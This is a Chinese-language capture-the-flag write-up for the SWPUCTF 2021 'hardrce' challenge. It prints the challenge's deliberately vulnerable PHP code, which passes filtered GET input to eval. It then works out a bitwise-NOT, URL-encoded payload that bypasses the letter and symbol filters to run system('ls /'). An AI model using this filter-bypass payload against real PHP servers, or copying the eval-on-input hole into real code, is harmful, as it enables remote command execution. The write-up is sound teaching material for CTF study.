[SWPUCTF 2021 新生赛]hardrce
[SWPUCTF 2021 新生赛]hardrce wp
参考博客:https://www.cnblogs.com/bkofyZ/p/17644820.html
代码审计
题目的代码如下:
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!
其中设置了一个黑名单 $blacklist
过滤了许多字符;
此外 preg_match('/[a-zA-Z]/is',$wllm)
过滤了所有大小写字母。
无字母 RCE
首先推荐一篇博客:老生常谈的无字母数字 Webshell 总结 。
无字母数字绕过,就是把非字母数字的字符经过各种转换,变为数字和字母。
由于黑名单中 ’ $ ’ , ’ ^ ‘,’ ` ’ ,’ " '等等都被过滤掉了,我觉得能用的只有取反了(可能还有其他的我没想到)。
取反绕过
构造一个 system('ls /')
要怎么做呢,先输出其取反后的字符串(要用 URL 编码),再取反。
看了好多博客,都是说对函数名和参数值分别取反再拼接,比如:
<?php
# 先对 system 取反,再编码
echo urlencode(~"system");
# 结果:%8C%86%8C%8B%9A%92
# 换行
print("\r\n");
# 再对 ls / 取反,再编码
echo urlencode(~"ls /");
# 结果:%93%8C%DF%D0
?>
最后做一个拼接:
(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
那为什么取反之后就不会被过滤了呢,这是因为取反后基本上都是不可见字符(总之就是不在黑名单中啦)。
踩坑
但是令我很疑惑的是,为什么不能直接对整体取反呢,比如像下面那样:
<?php
echo urlencode(~"system('ls /')");
?>
得到的 payload 为:
(~%8C%86%8C%8B%9A%92%D7%D8%93%8C%DF%D0%D8%D6);
我试过了,不行,但我不理解,直到看到了这篇博客:
我才理解了一点。
大致意思是,eval 函数在执行的时候,只有遇到 (func_name)()
这样形式的参数,才会把它当成函数执行,如果传入:
(~%8C%86%8C%8B%9A%92%D7%D8%93%8C%DF%D0%D8%D6);
这样的,eval 识别不出它是一个函数,因此仅仅执行了取反操作。
另外还有一点我不理解,上面传入的 payload 在取反之后应该是这样子的才对:
eval("(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);")
# eval 执行取反操作后
eval("('system')('ls /');")
('system')('ls /')
为什么能当成 system('ls /')
来执行呢?
这还要归结于 PHP7 的一个特性,PHP 7 中支持这种调用方法,即用 (func_name)()
这种形式来调用函数。
实践是检验真理的唯一标准,让我们把 PHP 版本调成 7.x.x ,并写好以下代码:
<?php
# 输出 PHP 版本号
echo phpversion();
echo ('system')('calc');
?>
访问此页面:
可以看到输出版本号为 7.3.4 ,并成功弹出计算器。
将 PHP 版本改为 5.x.x,再次访问:
报错。
事实上,此特性在 PHP7 中支持,而 PHP5 不支持。
如此看来,这种绕过方式还是有条件的。